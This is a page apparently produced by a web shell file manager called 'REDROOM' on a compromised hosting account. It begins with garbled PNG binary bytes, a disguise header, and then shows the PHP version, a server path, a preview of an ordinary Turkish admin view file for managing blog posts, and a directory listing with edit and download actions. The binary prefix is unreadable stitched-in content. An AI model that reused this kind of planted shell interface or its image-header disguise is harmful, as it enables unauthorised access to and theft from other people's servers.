PNG  IHDR* pHYs+ IDATx]n#; cdLb Ǚ[at¤_:uP}>!Usă cag޿ ֵNu`ݼTâabO7uL&y^wFٝA"l[|ŲHLN밪4*sG3|Dv}?+y߉{OuOAt4Jj.u]Gz*҉sP'VQKbA1u\`& Af;HWj hsO;ogTu uj7S3/QzUr&wS`M$X_L7r2;aE+ώ%vikDA:dR+%KzƉo>eOth$z%: :{WwaQ:wz%4foɹE[9<]#ERINƻv溂E%P1i01 |Jvҗ&{b?9g=^wζXn/lK::90KwrюO\!ջ3uzuGv^;騢wq<Iatv09:tt~hEG`v;3@MNZD.1]L:{ծI3`L(÷ba")Y.iljCɄae#I"1 `3*Bdz>j<fU40⨬%O$3cGt]j%Fߠ_twJ;ABU8vP3uEԑwQ V:h%))LfraqX-ۿX]v-\9I gl8tzX ]ecm)-cgʒ#Uw=Wlێn(0hPP/ӨtQ“&J35 $=]r1{tLuǮ*i0_;NƝ8;-vݏr8+U-kruȕYr0RnC]*ެ(M:]gE;{]tg(#ZJ9y>utRDRMdr9㪩̞zֹb<ģ&wzJM"iI( .ꮅX)Qw:9,i좜\Ԛi7&N0:asϓc];=ΗOӣ APqz93 y $)A*kVHZwBƺnWNaby>XMN*45~ղM6Nvm;A=jֲ.~1}(9`KJ/V F9[=`~[;sRuk]rєT!)iQO)Y$V ی ۤmzWz5IM Zb )ˆC`6 rRa}qNmUfDsWuˤV{ Pݝ'=Kֳbg,UҘVz2ﴻnjNgBb{? ߮tcsͻQuxVCIY۠:(V뺕 ٥2;t`@Fo{Z9`;]wMzU~%UA蛚dI vGq\r82iu +St`cR.6U/M9IENDB` REDROOM
PHP 5.6.40
Preview: index.php Size: 8.19 KB
/home/ankaservis/public_html/app/views/admin/posts/index.php

<?php
ob_start();
// Değişkenleri güvenli hale getir
$current_status = $current_status ?? 'all';
$stats = $stats ?? [];
$posts = $posts ?? [];
?>

<div class="bg-white rounded-lg shadow p-6">
    <div class="flex justify-between items-center mb-6">
        <h2 class="text-2xl font-bold text-anka-gray">Çözüm Merkezi Yönetimi</h2>
        <a href="<?php echo Helper::url('/admin/posts/create'); ?>" class="bg-anka-orange hover:bg-orange-600 text-white px-4 py-2 rounded-lg transition flex items-center space-x-2">
            <svg class="w-5 h-5" fill="none" stroke="currentColor" viewBox="0 0 24 24">
                <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 4v16m8-8H4"></path>
            </svg>
            <span>Yeni Yazı Ekle</span>
        </a>
    </div>

    <!-- İstatistikler -->
    <div class="grid grid-cols-1 md:grid-cols-3 gap-4 mb-6">
        <a href="<?php echo Helper::url('/admin/posts?status=all'); ?>" class="bg-gradient-to-br from-blue-500 to-blue-600 text-white p-4 rounded-lg hover:shadow-lg transition <?php echo $current_status === 'all' ? 'ring-2 ring-blue-300' : ''; ?>">
            <div class="text-sm opacity-90">Tüm Yazılar</div>
            <div class="text-2xl font-bold"><?php echo $stats['all']; ?></div>
        </a>
        <a href="<?php echo Helper::url('/admin/posts?status=published'); ?>" class="bg-gradient-to-br from-green-500 to-green-600 text-white p-4 rounded-lg hover:shadow-lg transition <?php echo $current_status === 'published' ? 'ring-2 ring-green-300' : ''; ?>">
            <div class="text-sm opacity-90">Yayınlanan</div>
            <div class="text-2xl font-bold"><?php echo $stats['published']; ?></div>
        </a>
        <a href="<?php echo Helper::url('/admin/posts?status=draft'); ?>" class="bg-gradient-to-br from-yellow-500 to-yellow-600 text-white p-4 rounded-lg hover:shadow-lg transition <?php echo $current_status === 'draft' ? 'ring-2 ring-yellow-300' : ''; ?>">
            <div class="text-sm opacity-90">Taslak</div>
            <div class="text-2xl font-bold"><?php echo $stats['draft']; ?></div>
        </a>
    </div>

    <!-- Yazılar Tablosu -->
    <div class="overflow-x-auto">
        <table class="w-full">
            <thead class="bg-gray-50">
                <tr>
                    <th class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase">Başlık</th>
                    <th class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase">Cihaz/Marka</th>
                    <th class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase">Durum</th>
                    <th class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase">Tarih</th>
                    <th class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase">İşlemler</th>
                </tr>
            </thead>
            <tbody class="divide-y divide-gray-200">
                <?php if (!empty($posts)): ?>
                    <?php foreach ($posts as $post): ?>
                        <tr class="hover:bg-gray-50">
                            <td class="px-6 py-4">
                                <div class="font-medium text-gray-900"><?php echo Helper::escape($post['title']); ?></div>
                                <div class="text-sm text-gray-500"><?php echo Helper::excerpt($post['excerpt'] ?? $post['content'], 60); ?></div>
                            </td>
                            <td class="px-6 py-4 whitespace-nowrap text-sm">
                                <?php if (!empty($post['device_type'])): ?>
                                    <div class="text-gray-900"><?php echo Helper::escape($post['device_type']); ?></div>
                                    <?php if (!empty($post['brand'])): ?>
                                        <div class="text-gray-500"><?php echo Helper::escape($post['brand']); ?></div>
                                    <?php endif; ?>
                                <?php else: ?>
                                    <span class="text-gray-400">-</span>
                                <?php endif; ?>
                            </td>
                            <td class="px-6 py-4 whitespace-nowrap">
                                <span class="px-2 py-1 text-xs rounded font-semibold <?php echo $post['status'] === 'published' ? 'bg-green-100 text-green-800' : 'bg-yellow-100 text-yellow-800'; ?>">
                                    <?php echo $post['status'] === 'published' ? 'Yayınlandı' : 'Taslak'; ?>
                                </span>
                            </td>
                            <td class="px-6 py-4 whitespace-nowrap text-sm text-gray-500">
                                <?php echo Helper::dateFormat($post['created_at']); ?>
                            </td>
                            <td class="px-6 py-4 whitespace-nowrap text-sm font-medium">
                                <div class="flex items-center space-x-2">
                                    <a href="<?php 
                                        $url = '/cozum-merkezi';
                                        if (!empty($post['device_type'])) {
                                            $url .= '/' . Helper::slug($post['device_type']);
                                            if (!empty($post['brand'])) {
                                                $url .= '/' . Helper::slug($post['brand']);
                                            }
                                        }
                                        $url .= '/' . $post['slug'];
                                        echo Helper::url($url);
                                    ?>" target="_blank" class="text-blue-600 hover:text-blue-800" title="Görüntüle">
                                        <svg class="w-5 h-5" fill="none" stroke="currentColor" viewBox="0 0 24 24">
                                            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M15 12a3 3 0 11-6 0 3 3 0 016 0z"></path>
                                            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M2.458 12C3.732 7.943 7.523 5 12 5c4.478 0 8.268 2.943 9.542 7-1.274 4.057-5.064 7-9.542 7-4.477 0-8.268-2.943-9.542-7z"></path>
                                        </svg>
                                    </a>
                                    <a href="<?php echo Helper::url('/admin/posts/edit/' . $post['id']); ?>" class="text-anka-orange hover:text-orange-600" title="Düzenle">
                                        <svg class="w-5 h-5" fill="none" stroke="currentColor" viewBox="0 0 24 24">
                                            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M11 5H6a2 2 0 00-2 2v11a2 2 0 002 2h11a2 2 0 002-2v-5m-1.414-9.414a2 2 0 112.828 2.828L11.828 15H9v-2.828l8.586-8.586z"></path>
                                        </svg>
                                    </a>
                                    <a href="<?php echo Helper::url('/admin/posts/delete/' . $post['id']); ?>" class="text-red-600 hover:text-red-800" onclick="return confirm('Bu yazıyı silmek istediğinize emin misiniz?')" title="Sil">
                                        <svg class="w-5 h-5" fill="none" stroke="currentColor" viewBox="0 0 24 24">
                                            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M19 7l-.867 12.142A2 2 0 0116.138 21H7.862a2 2 0 01-1.995-1.858L5 7m5 4v6m4-6v6m1-10V4a1 1 0 00-1-1h-4a1 1 0 00-1 1v3M4 7h16"></path>
                                        </svg>
                                    </a>
                                </div>
                            </td>
                        </tr>
                    <?php endforeach; ?>
                <?php else: ?>
                    <tr>
                        <td colspan="5" class="px-6 py-4 text-center text-gray-500">
                            <?php echo $current_status === 'all' ? 'Henüz çözüm yazısı yok.' : 'Bu kategoride yazı bulunamadı.'; ?>
                        </td>
                    </tr>
                <?php endif; ?>
            </tbody>
        </table>
    </div>
</div>

<?php
$content = ob_get_clean();
require_once APP_PATH . '/app/views/admin/layout.php';
?>

Directory Contents

Dirs: 0 × Files: 3

Name Size Perms Modified Actions
5.18 KB lrw-r--r-- 2025-11-17 19:50:54
Edit Download
6.12 KB lrw-r--r-- 2025-11-17 19:50:54
Edit Download
8.19 KB lrw-r--r-- 2025-11-17 19:50:54
Edit Download

If ZipArchive is unavailable, a .tar will be created (no compression).
© 2026 REDROOM — Secure File Manager. All rights reserved. Built with ❤️ & Red Dark UI